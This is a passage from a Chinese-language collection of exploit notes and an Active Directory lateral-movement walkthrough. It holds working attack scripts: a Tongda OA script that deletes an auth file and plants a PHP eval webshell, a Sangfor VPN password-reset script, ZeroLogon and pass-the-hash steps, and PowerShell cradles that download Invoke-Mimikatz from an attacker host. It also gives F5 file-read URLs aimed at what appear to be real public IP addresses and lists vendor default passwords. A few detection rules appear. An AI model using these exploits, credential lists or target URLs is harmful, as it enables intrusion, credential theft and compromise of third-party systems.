Cast('%' AS Binary(1)) AND `User` = Cast('ateam666' AS Binary(5));3、刷新数据库就可以登录到数据库啦。 /general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges; 4、通达OA配置mysql默认是不开启外网访问的所以需要修改mysql授权登录。 /general/hr/manage/query/delete_cascade.php?condition_cascade= grant all privileges ON mysql.* TO 'ateam666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION 5、接下来就是考验mysql提权功底的时候啦 233... 来源:https://mp.weixin.qq.com/s/8rvIT1y_odN2obJ1yAvLbw 三十、Wordpress File-manager插件任意文件上传 相信大家对Wordpress并不陌生;File-manager插件也是相当火爆前段时间爆出任意文件上传漏洞。 成功上传后文件访问路径 /wordpress/wp-content/plugins/wp-file-manager/lib/files/shell.php 参考:https://www.anquanke.com/post/id/216990 三十一、Pligg CMS远程代码执行[CVE-2020-25287] 漏洞非常鸡肋需要登录后台、受影响Pligg2.0.3版本。 1、模版编辑器功能可以编辑任意文件内容,在文件中加入恶意代码导致代码执行。 参考:https://github.com/jenaye/pligg 三十二、ZeroLogon接管域控权限漏洞[CVE-2020-1472]1. 组件概述 Netlogon远程协议是一个远程过程调用(RPC)接口,用于基于域的网络上的用户和计算机身份验证。Netlogon远程协议RPC接口还用于为备份域控制器(BDC)复制数据库。 Netlogon远程协议用于维护从域成员到域控制器(DC),域的DC之间以及跨域的DC之间的域关系。此RPC接口用于发现和管理这些关系。 2. 漏洞介绍 该漏洞主要是由于在使用Netlogon安全通道与域控进行连接时,由于认证协议加密部分的缺陷,导致攻击者可以将域控管理员用户的密码置为空,从而进一步实现密码hash获取并最终获得管理员权限。成功的利用可以实现以管理员权限登录域控设备,并进一步控制整个域。 3. 漏洞影响 • Microsoft Windows Server 2008 R2 SP1 • Microsoft Windows Server 2012 • Microsoft Windows Server 2012 R2 • Microsoft Windows Server 2016 • Microsoft Windows Server 2019 • Microsoft Windows Server version 2004 (Server Core Installation) • Microsoft Windows Server version 1903 (Server Core Installation) • Microsoft Windows Server version 1909 (Server Core Installation) 4. 解决方案 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472 5.漏洞复现攻击主机:kali受害者主机名:owa.rootkit.org(window2008)1.使用Impacket库验证Zerologon(CVE-2020-1472)Python脚本(https://github.com/SecuraBV/CVE-2020-1472)将尝试执行Netlogon身份验证绕过。成功执行完后时,脚本将立即终止,并且不执行任何Netlogon操作需要Python 3.7以上版本以及pippip install -r requirements.txt前提条件需要用到Impacket库https://github.com/SecureAuthCorp/impacketpython3 setup.py install //安装impacket运行脚本:执行的脚本目标名称可以是主DC或辅助DC。给定EXAMPLE-DC的主机名以及DC的IP:./zerologon_tester.py EXAMPLE-DC DC的IP./zerologon_tester.py OWA 192.168.1.104如果存在漏洞,会返回信息:Success! DC can be fully compromised by a Zerologon attack2.使用cve-2020-1472-exploit.py进行攻击(测试域控制器是否容易受到Zerologon攻击。当受到攻击时,将DC帐户密码重置为空字符串)前提条件需要用到Impacket库:https://github.com/SecureAuthCorp/impacketgit clone https://github.com/SecureAuthCorp/impacket.gitpython3 setup.py install //安装impacket执行脚本https://github.com/dirkjanm/CVE-2020-1472python3 cve-2020-1472-exploit.py owa 192.168.1.104如果利用漏洞成功,则会提示:vulnerable, changing account password to empty string3、使用impacket的secretsdump.py远程导出域控制上的hashpython3 secretsdump.py rootkit.org/owa\[email protected] -no-pass4、利用获取到的管理员hash,通过impacket的wmiexec.py来远程操作域控服务器,获取域控的终端命令窗口python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13cf6cfe1f2fc41cd286c7c8caec978b rootkit.org/[email protected]、获取管理员hash,远程连接导出sam数据库中的原来的计算机hashreg save HKLM\SYSTEM system.savereg save HKLM\SAM sam.savereg save HKLM\security security.saveget system.saveget sam.saveget security.savepython3 secretsdump.py -sam sam.save -system system.save -security security.save LOCALdel /f system.savedel /f sam.savedel /f security.save注意:这里会获得一个账号名为:$MACHINE:ACC账号的hash值,注意hash的后半6、恢复计算机的hash下载脚本 https://github.com/risksense/zerologonpython3 reinstall_original_pw.py owa 192.168.1.104 ad611ebf4fd2de9448a33ba693b212f4 //注意hash的部分,只有后半部分如果还原密码成功则会显示:Success! DC machine account should be restored to it\'s original value. You might want to secretsdump again to check7、恢复计算机的hash使用impacket的脚本来登录域控来验证hashpython3 secretsdump.py rootkit.org/administrator:[email protected] -just-dc-user owa\$使用7步骤的脚本回复hash前python3 reinstall_original_pw.py owa 192.168.1.104 ad611ebf4fd2de9448a33ba693b212f4 //注意hash的部分,只有后半部分python restorepassword.py rootkit.org/[email protected] -target-ip 192.168.1.104 -hexpass aad3b435b51404eeaad3b435b51404ee:13cf6cfe1f2fc41cd286c7c8caec978b通过mimikatz中CVE-2020-1472功能攻击ActiveDirectory的三步骤:# lsadump::dcsync /domain:LAB.LOCAL /dc:dc.lab.local /user:krbtg t /authuser:dc$ /authdomain:LAB /authpassword:"" /authntlm# lsadump::zerologon /target:dc.lab.local /account:dc$ # lsadump::zerologon /target:dc.lab.local /account:dc$ /exploit# lsadump::dcsync# lsadump::postzerologon /target:dc.lab.local /account:dc$ #恢复密码snort检测规则:alert tcp any any -> any ![139,445] (msg:"Possible Mimikatz Zerologon Attempt"; flow:established,to_server; content:"|00|"; offset:2; content:"|0f 00|"; distance:22; within:2; fast_pattern; content:"|00 00 00 00 00 00 00 00 ff ff 2f 21|"; within:90; reference:url,https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20200916; classtype:attempted-admin; sid:20166330; rev:2; metadata:created_at 2020_09_19;)Windows事件管理器自查:在未打补丁的域控,重点查看windows事件管理器中,eventid为4742或者4624,5805在Windows 8月更新中,新增事件ID 5829,5827,5828,5830,5831。蓝队可以重点关注这几个事件ID以方便自查当在初始部署阶段允许存在突破的Netlogon安全通道连接时,将生成事件ID 5829。管理员可以监控事件ID 5827和5828,这些事件ID在存在漏洞的Netlogon连接被拒绝时触发5830,5831如果“域控制器:允许易受攻击的Netlogon安全通道连接”组策略允许连接。 mimikatz通过zerologon攻击成功后,将会留下事件id为4648。 参考文献:https://mp.weixin.qq.com/s/xq6gwgomkE0ru3lR3EmDaw https://mp.weixin.qq.com/s/nRKuFAD-ev9k5icUmYdkvg https://asciinema.org/a/359607 https://www.t00ls.net/articles-57858.html https://mp.weixin.qq.com/s/HoyMVPtdajGKGFsXxR_SfA 通过mimikatz中CVE-2020-1472功能攻击ActiveDirectory的三步骤:# lsadump::dcsync /domain:LAB.LOCAL /dc:dc.lab.local /user:krbtg t /authuser:dc$ /authdomain:LAB /authpassword:"" /authntlm# lsadump::zerologon /target:dc.lab.local /account:dc$ # lsadump::zerologon /target:dc.lab.local /account:dc$ /exploit滥用Zerologon的另一种方式(CVE-2020-1472):ntlmrelayx.py --no-http-server -smb2support -t DCSYNC://dc.lab.localmimikatz#misc::spooler /server:dc-bis.lab.local /connect:debian.labsec.local 三十三、ThinkAdminV6 任意文件操作Update.php 三个函数未校验访问权限1、目录遍历注意POST数据包rules参数值需要URL编码POST /admin.html?s=admin/api.Update/node rules=%5B%22.%2F%22%5D 2、文件读取,后面那一串是UTF8字符串加密后的结果。计算方式在Update.php中的加密函数。/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34三十四、CVE-2020-1181:SharePoint远程代码执行)在演示场景中,我们使用的版本为替代配置的Microsoft SharePoint 2019 Server,安装在Windows Server 2019 Datacenter系统上。服务器主机称为sp2019.contoso.lab,已加入contoso.lab域中,域控制器为一台独立的虚拟机。目标主机已安装终止2020年2月份的所有补丁,因此对应的版本号为16.0.10355.20000。 攻击系统中只需要使用支持的Web浏览器即可。如下图所示,我们使用的浏览器为Mozilla Firefox 69.0.3。我们将使用与前文类似的WikiContentWebpart,将其命名为WikiContentRCE.xml。 1.首先我们访问SharePoint Server,以普通用户(user2)通过身份认证: 2.接下来创建站点,使该用户变成该站点所有者(所有者),具有所有权限。(前提条件普通用户具有创建站点的权限) 点击顶部面板的“ SharePoint”区域: 然后点击“ +创建网站 ”链接: 选择“ Team Site ”。现在我们需要为新站点设置名称,这里我们设置为testsiteofuser2。 点击“ 完成 ”,成功创建新站点: 现在点击“ Pages ”链接: 我们需要切换到“ Classic View ”,单击左下角的“ Return to classic SharePoint ”链接即可: 点击“ + New ”,为新页面设置一个名称。这里我们设置为newpage1: 点击“ 创建 ”按钮确认。 现在我们需要在“ INSERT ”标签页中选择“ Web Part ”: 在上方窗口中,选择左下角的“ Upload Web Part ”链接,上传我们构造的WikiContentRCE.xml文件: 点击上传。我们可能会看到一个警告弹窗:“确认离开页面?您输入的数据可能不会被保存”。此时点击“ 离开页面 ”按钮即可,返回主编辑视图: 我们需要再次在INSERT标签页中选择Web部件小部件,其中将出现我们引入的Web部件: 在点击添加按钮之前,我们先转到目标SharePoint服务器,打开C:\windows\temp目录: 此时该目录中不存在RCE_PoC.txt文件。 现在我们转到攻击者主机,将我们引入的Web Part添加到页面中: 再次在目标服务器上检查C:\windows\temp目录: 通过这种方法,攻击者可以执行任意系统命令,入侵服务器。攻击者只需要在WikiContentRCE.xml文件中,将echo pwned > c:/windows/temp/RCE_PoC.txt串联替换成所需的命令即可。 三十五、深信服SSL VPN任意密码重置深信服VPN加密算法使用了默认的key,攻击者构利用key构造重置密码数据包从而修改任意用户的密码利用:需要登录账号M7.6.6R1版本默认key为20181118 M7.6.1版本默认key为20100720 sangfor_key.py from Crypto.Clipher import ARC4 from binascii import a2b_hex def myRC4(data,key): rc41=ARC4.new(key) encrypted=rc41.encrypt(data) return encrypted.encode('hex') def rc4_decrpt_hex(data,key): rc41=ARC4.new(key) return rc41.decrypt(a2b_hex(data)) key='20200720' data=r',username=TARGET_USERNAME,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=TARGET_PASSWORD,' print myRC4(data,key) https://<PATH>/por/changepwd.csp(post) sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR&len=(脚本计算后结果) 三十六、深信服SSL VPN修改任意账户手机号 修改手机号接口未正确鉴权导致越权覆盖任意用户的手机号码 利用:需要登录账号 https://<PATH>/por/changetelnum.csp?apiversion=1 newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1 三十七、通达OA v11.6版本RCE漏洞一、影响版本 11.6二、复现过程 1.下载11.6版本oa,下载地址:http://www.kxdw.com/soft/23114.html 2.安装 3.exp脚本 import requests target="http://ip:port/" //此处填写上面安装oa的ip及端口 payload="<?php eval($_POST['hahaha']);?>" print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA") input("Press enter to continue") print("[*]Deleting auth.inc.php....") url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php" requests.get(url=url) print("[*]Checking if file deleted...") url=target+"/inc/auth.inc.php" page=requests.get(url=url).text if 'No input file specified.' not in page: print("[-]Failed to deleted auth.inc.php") exit(-1) print("[+]Successfully deleted auth.inc.php!") print("[*]Uploading payload...") url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./" files = {'FILE1': ('deconf.php', payload)} requests.post(url=url,files=files) url=target+"/_deconf.php" page=requests.get(url=url).text if 'No input file specified.' not in page: print("[+]Filed Uploaded Successfully") print("[+]URL:",url) else: print("[-]Failed to upload file") 4.然后执行该exp的效果如下图 5.用菜刀连接该后门,如下 https://github.com/TomAPU/poc_and_exp https://drivertom.blogspot.com/2019/06/pyspider-webuipocexp.htmlhttps://www.cnblogs.com/yuzly/p/13600532.htmlhttps://www.cnblogs.com/panisme/p/12560769.html 三十八、F5负载均衡:cve-2020-5902版本影响:BIG-IP 15.x: 15.1.0/15.0.0BIG-IP 14.x: 14.1.0 ~ 14.1.2BIG-IP 13.x: 13.1.0 ~ 13.1.3BIG-IP 12.x: 12.1.0 ~ 12.1.5BIG-IP 11.x: 11.6.1 ~ 11.6.5远程命令执行RCE:curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin' https://43.247.102.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin https://43.247.102.142/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin 文件包含漏洞:https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hostshttps://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf https://183.2.157.179/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://36.110.142.2/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://183.2.157.181/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://58.215.213.226/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://36.110.49.152/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://116.204.216.4/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://116.204.219.3/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://43.247.102.141/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://218.205.188.31/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://60.247.99.150/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://36.110.49.151//tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://111.198.181.151/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://220.248.87.92/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://43.247.102.142/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://183.2.157.180/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwdhttps://43.247.102.140/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd 临时修补建议:官方建议可以通过以下步骤临时缓解影响1.使用以下命令登录对应系统tmsh 2.编辑 httpd 组件的配置文件 edit /sys httpd all-properties 3.文件内容如下 include ' <LocationMatch ".*\.\.;.*"> Redirect 404 / </LocationMatch> '4.按照如下操作保存文件 按下 ESC 并依次输入 :wq 5.执行命令刷新配置文件 save /sys config 6.重启 httpd 服务 restart sys service httpd 7.并禁止外部IP对 TMUI 页面的访问 搜索目标:注:请将下面的%26替换为&。shodan http.favicon.hash:-335242539http.favicon.hash:-335242539 "3992"http.title:"BIG-IP%26reg;- Redirect"http.title:"BIG-IP&reg;- Redirect" fofa title="BIG-IP%26reg;- Redirect"censys 443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5443.https.get.title:"BIG-IP%26reg;- Redirect"google inurl:"tmui/login.jsp"intitle:"BIG-IP" inurl:"tmui"登录页面:https://<target>/tmui/login.jsp 漏洞检测/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp /tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=a https://github.com/yassineaboukir/CVE-2020-5902 https://github.com/jas502n/CVE-2020-5902 https://github.com/aqhmal/CVE-2020-5902-Scanner https://github.com/nsflabs/CVE-2020-5902 https://github.com/yasserjanah/CVE-2020-5902 https://github.com/JSec1337/RCE-CVE-2020-5902 https://github.com/payloadbox/command-injection-payload-list suricata CVE-2020-5902 检测规则: alert http $EXTERNAL_NET any -> any any (msg:"ET EXPLOIT F5 TMUI RCE vulnerability CVE-2020-5902 Attempt"; flow:established,to_server; http.uri; content:"/tmui/login.jsp/..|3b|/"; depth:20; metadata: former_category EXPLOIT; reference:cve,2020-5902; reference:url,support.f5.com/csp/article/K52145254; classtype:attempted-admin; sid:2030469; rev:3; metadata:affected_product Web_Server_Applications, attack_target Web_Server, deployment Perimeter, signature_severity Critical, created_at 2020_07_05, updated_at 2020_07_05;) 三十九、fastadmin前台getshell+csrf+xss1.影响版本V1.0.0.20200506_beta2.利用限制/application/config.php文件中: 即需要开启会员中心功能为利用前提条件:3.漏洞位置/application/index/User.php文件 第58-67行: public function _empty($name) { $data = Hook::listen("user_request_empty", $name); foreach ($data as $index => $datum) { $this->view->assign($datum); } return $this->view->fetch('user/' . $name); }此方法中的$name参数可控,可导致fetch模板注入 攻击者可以利用该突破性扩展包含指定的路径的后门文件,就可以getshell 3.漏洞验证 登陆会员中心,在个人资料页面中修改个人头像: 抓包后修改图片数据(满足图片头格式即可): 记录下路径后,成功getshell 修复建议 对传入进来的$name变量做一下过滤 还存在以下漏洞:1后台分类管理处存在xss且存在csrf漏洞<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://admin.com/admin.php/category/add?dialog=1" method="POST"> <input type="hidden" name="row&#91;type&#93;" value="default" /> <input type="hidden" name="row&#91;pid&#93;" value="0" /> <input type="hidden" name="row&#91;name&#93;" value="&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="row&#91;nickname&#93;" value="123" /> <input type="hidden" name="row&#91;image&#93;" value="1" /> <input type="hidden" name="row&#91;keywords&#93;" value="123" /> <input type="hidden" name="row&#91;description&#93;" value="123" /> <input type="hidden" name="row&#91;weigh&#93;" value="0" /> <input type="hidden" name="row&#91;status&#93;" value="normal" /> <input type="hidden" name="row&#91;flag&#93;&#91;&#93;" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> 一些弱口令字典: 使用范围不限于系统服务、应用服务、应用程序,可以用这些生成字典对内网资产巡检。泛微OA默认system账号: system/systemApache DolphinScheduler: admin/dolphinscheduler1、账号[email protected] superadminadmin123xadminsystemadminroot2、密码$companyName$@2020 $companyName$2020$companyName$123admin12312345678123456adminroot为啥没写administrators, 因为上面都是我随便想出来的,这个我记不住。安全设备弱密码排查列表:天融信防火墙 用户名:superman 密码:talent天融信防火墙 用户名:superman 密码:talent!23 联想网御防火墙 用户名:admin 密码:leadsec@7766、administrator、bane@7766深信服防火墙 用户名:admin 密码:admin启明星辰 用户名:admin 密码:bane@7766 用户名:admin 密码:admin@123juniper 用户名:netscreen 密码:netscreenCisco 用户名:admin 密码:ciscoHuawei 用户名:admin 密码:Admin@123 H3C 用户名:admin 密码:admin绿盟IPS 用户名: weboper 密码: weboper网神防火墙GE1 用户名:admin 密码:firewall深信服VPN:51111端口 密码:delanrecover华为VPN:账号:root 密码:mduadmin华为防火墙:admin 密码:Admin@123 EudemonJuniper防火墙:netscreen netscreen迪普 192.168.0.1 默认的用户名和密码(admin/admin_default)山石 192.168.1.1 默认的管理账号为hillstone,密码为hillstone安恒的明御防火墙 admin/adminadmin某堡垒机 shterm/shterm天融信的vpn test/123456 绿盟安全产品默认密码排查列表: IPS入侵防御系统、SAS­H运维安全管理系统、SAS安全审计系统、DAS数据库审计系统、RSAS远程安全评估系统、WAF WEB应用防护系统 sysauditor/sysauditor sysmanager/sysmanager supervisor/supervisor maintainer/maintainer webpolicy/webpolicy sysadmin/sysadmin conadmin/conadmin supervis/supervis webaudit/webaudit sysadmin/sysadmin conadmin/nsfocus weboper/weboper auditor/auditor weboper/weboper nsadmin/nsadmin admin/nsfocus admin/admin shell/shell
  24. 0x00 场景 本次目标是获取“ redhook.DA”域中帐户的一个可用凭据。从一个控制内网主机的权限开始,但尚未与目标域控制器处于同一子网中。如下图所示: 此外,假设攻击者获取了client 1主机中的本地管理员缓存认证凭据。通常,如果网络范围足够大,将通过批处理,vbs,.NET,ps1等脚本在网络共享上找到相应的存储的有效凭据。以获得初始访问权限。在这篇文章中,本次攻击者为在kali主机上,重点讲述在Windows上横向移动的方法以及不包括绕过AV的情况。 0x00 攻击clicent1主机 1.批处理脚本获取 如上所述。通过网络共享上的批处理及脚本获取了clent1(10.0.0.129)主机的用户认证凭据: # Mock contents of \\FileServer\Users\bob\Workstations\ErrorLog.bat @echo off net use "\\10.0.0.129\C$" /user:bob ImSoSecur3! #建立共享 if exist "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" ( echo "Sigh, more errors on Client1! Copying.." copy "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" C:\Users\bob\Logs\Client1\ del "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" ) else ( echo "Yaay, no new errors on Client1!" ) net use "\\10.0.0.129\C$" /delete 通过批处理脚本快速获取指定的IP的一些NetBIOS信息: nbtscan -vh 10.0.0.129 or nbtstat -A 10.0.0.129 也可以使用命令nbtstat -A IP 执行相同的操作。可获取到主机名WIN7-ENT-CLI1,并且已连接到REDHOOK域 2.PsExec 使用metasploit的PsExec,在kali上可以轻松获取client 1主机的反弹shell。注意,bob是本地帐户并不是域账户。因此,没有使用SMBDomain参数。 msf>use exploit/winodws/smb/psexec msf>set rhost 10.0.0.129 msf>set smbuser bob msf>set smbpass ImSoSecur3! msf>show options msf>exploit 这里也可以使用Impacket包中的PsExec,它使用RemComSvc模拟PsExec。这里的好处是,如果没有获取到明文凭证,它可接受哈希传递。 python psexec.py bob:[email protected] cmd windows下的PsExec.exe也可以横向移动,它具有签名可执行文件的好处。在此命令中添加“ -s”标识将获取SYSTEM Shell。 Psexec.exe \\10.0.0.129 -u bob -p ImSoSecur3! cmd 3.WMI 关于执行远程命令工具,这里最著名的是WMIC工具,不仅允许在远程主机上执行命令,而且还可以利用WMI来获取敏感信息并重新配置主机系统,该工具为windows 内置命令。 wmic /node:10.0.0.129 /user:bob /password::ImSoSecur3! computersystem list brief /format:list #远程获取计算机信息 wmic /node:10.0.0.129 /user:bob /password::ImSoSecur3! computersystem get username #远程获取目标用户账户信息权限 wmic /node:10.0.0.129 /user:bob /password::ImSoSecur3! process call crate "calc.exe" #远程创建进程,这里是calc.exe wmic /node:10.0.0.129 /user:bob /password:ImSoSecur3! computersystem process get Name,ProcessId | findstr calc #远程获取进程ID,名称,并执行进程 } 4.WmiExec 在Impacket包中可以使用WmiExec工具,执行命令并可以打印出命令输出,还可以提供半交互式shell也可以通过hash传递。 python wmiexec.py bob:[email protected] route print -4 10.* PowerSploitz中的Invoke-WmiCommand,由于使用了PSCredential对象,会占用更多的内存,但可以获取命令打印输出和脚本的内存存储位置。 5.Pass-The-Hash(WCE和Mimikatz) 有时,当获取目标主机命令窗口时,只能获取到目标主机用户的NTLM哈希值,而不能明文密码获取。如果在这种情况下,可以使用metasploit(psexec)或Impacket。如果环境局限于本地Windows环境,则可以使用WCE或Mimikatz将NTLM哈希注入到进程中。 whoami net use \\10.0.0.129\ADMIN$ #无法获取目标共享,这里需要提供用户名和密码 wce.exe -s bob::aad3b435b1404eeaad3b435b51404e:f6c0fa29f4cad745ad04bed1d00a7c82 #通过wce.exe远程hash传递 net use \\10.0.0.129\ADMIN$ dir \\10.0.0.129\ADMIN$ 缺点是WCE会显示错误报警信息!,可以使用powershell 将Mimikatz直接加载到内存中!但是,在这种情况下,最好使用已编译好的的二进制文件mimikatz.exe。 net use \\10.0.0.129\$ADMIN miminatz.exe mimikatz#sekurlsa::pth /user:bob /domain:. /ntlm:f6c0fa29f4cad745ad04bed1d00a7c82 #mimikat中模块pth whoami net use \\10.0.0.129\$ADMIN 请注意,在这种情况下,域都设置为“.”。这是因为bob是本地帐户. 0x02 建立据点01 1.Metasploit(Mimikatz和hashdump) 使用Mimikatz获取活动会话的用户凭据,并使用hashdump为当前未登录的本地帐户获取哈希 meterpreter>load mimikatz #加载mimikatz模块 meterprter>tspkg #进行system权限提升 meterprter>msvv #获取当前活动会话凭证 meterprter>hashdump #获取本地主机账户的全部hash值 2.Secretsdump和Invoke-Mimikatz 也可以使用Impacket的SecretsDump和Powersploit的Invoke-Mimikatz。在这种情况下,Invoke-Mimikatz托管在攻击者的网络服务器上。 python secretsdump.py bob:[email protected] python psexec.py bob:[email protected] cmd powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DowloadString("http://10.0.0.129/Invoke-Mimikatz.ps1');Invoke-Mimikatz" mimiatz(powershell)#sekurlsa::logonpasswords 当然,还有其他方法可以解决此问题,但认为这些可能是主要方法。 0x03 信息收集 现在可以访问REDHOOK域中的一台主机,该主机也连接到另一个子网。 1.令牌获取 现在我们有了redhook域里的一台机器并且能连接到不同的子网中,现在开始做一个信息收集。 要查询域的信息,需要有一个域用户,当前的bob用户并不是域用户或system权限,但是我们可以通过 NtQuerySystemInformation来发现其他用户的token,进而模拟他们登陆。 meterpreter有这个插件,使这个过程非常简单。 meterprter>getuid meterpter>list_tokens -u meterprter>impersonate_token REDHOOK\\asenath.waite meterprter>shell whomai 另外,可以使用Luke Jennings的incognito,该工具具有类似PsExec的功能,可以远程使用它。 incognito.exe -h 10.0.0.129 -u bob -p ImSoSecur3! list_tokens -u incognito.exe -h 10.0.0.129 -u bob -p ImSoSecur3! execute -c REDHOOK\asenath.waite cmd.exe 最后,还有PowerSploit的Invoke-TokenManipulation。但是,在当前状态下,不建议您使用它,因为无法真正获得所需的功能。 2.域信息收集 现在,已获取目标域主机的一个Shell,需要进行一些信息收集,以最大获取战果。 C:\Windows\System32> whoami redhook\asenath.waite C:\Windows\System32> hostnameWIN7-Ent-CLI1 C:\Windows\System32> ipconfig Windows IP Configuration Ethernet adapter Local Area Connection 2: Connection-specific DNS Suffix . : localdomain Link-local IPv6 Address . . . . . : fe80::a1ba:a1ab:170c:7916%17 IPv4 Address. . . . . . . . . . . : 10.0.0.129 # Attacker's subnet Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : Ethernet adapter Bluetooth Network Connection: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::5ddc:1e6:17e9:9e15%11 IPv4 Address. . . . . . . . . . . : 10.1.1.2 # REDHOOK subnet Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.1.1.1 Tunnel adapter isatap.{8D0466B5-1F88-480C-A42D-49A871635C9A}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.localdomain: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : localdomain Tunnel adapter isatap.{5CBBE015-1E1C-4926-8025-EBB59E470186}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : # A very small network, three hosts, including the one we have just compromised.C:\Windows\System32> net viewServer Name Remark -------------------------------------------------------------------------------\\REDRUM-DC red.dc\\WIN7-ENT-CLI1\\WIN7-ENT-CLI2 The command completed successfully. # The DC the user is authenticated toC:\Windows\System32> echo %logonserver%\\REDRUM-DC C:\Windows\System32> ping -n 1 REDRUM-DC Pinging redrum-dc.redhook.local [10.1.1.200] with 32 bytes of data:Reply from 10.1.1.200: bytes=32 time<1ms TTL=128 Ping statistics for 10.1.1.200: Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms # List local usersC:\Windows\System32> net user User accounts for \\WIN7-ENT-CLI1 -------------------------------------------------------------------------------Administrator bob GuestTemplateAdmin The command completed successfully. # List REDHOOK domain users C:\Windows\System32> net user /domain The request will be processed at a domain controller for domain RedHook.local. User accounts for \\Redrum-DC.RedHook.local -------------------------------------------------------------------------------Administrator asenath.waite Guestjohn.smith krbtgt redhook.DArobert.suydam wilbur.whateley The command completed successfully. # PowerSploit => Invoke-EnumerateLocalAdmin: Find all users who are local Administrators on a box in the network. C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.128/PowerView.ps1');Invoke-EnumerateLocalAdmin" Server : Redrum-DC.RedHook.localAccountName : RedHook.local/Administrator # Be careful, Administrator is a domain userSID : S-1-5-21-129707511-1158432277-3818383092-500 in this case, not a local user!Disabled : FalseIsGroup : FalseIsDomain : TrueLastLogin : 28/01/2016 21:38:22 Server : Redrum-DC.RedHook.localAccountName : RedHook.local/Enterprise AdminsSID : S-1-5-21-129707511-1158432277-3818383092-519Disabled : FalseIsGroup : TrueIsDomain : TrueLastLogin : Server : Redrum-DC.RedHook.localAccountName : RedHook.local/Domain AdminsSID : S-1-5-21-129707511-1158432277-3818383092-512Disabled : FalseIsGroup : TrueIsDomain : TrueLastLogin : Server : WIN7-ENT-CLI1.RedHook.localAccountName : WIN7-Ent-CLI1/AdministratorSID : S-1-5-21-280973330-564264495-219324212-500Disabled : ERRORIsGroup : FalseIsDomain : FalseLastLogin : Server : WIN7-ENT-CLI1.RedHook.localAccountName : RedHook.local/Domain AdminsSID : S-1-5-21-129707511-1158432277-3818383092-512Disabled : FalseIsGroup : TrueIsDomain : TrueLastLogin : Server : WIN7-ENT-CLI1.RedHook.localAccountName : WIN7-Ent-CLI1/bob # The local user bob is an admin on Client 1,SID : S-1-5-21-280973330-564264495-219324212-1002 we knew this already.Disabled : ERRORIsGroup : FalseIsDomain : FalseLastLogin : Server : WIN7-ENT-CLI1.RedHook.localAccountName : WIN7-Ent-CLI1/TemplateAdmin # Mmm!SID : 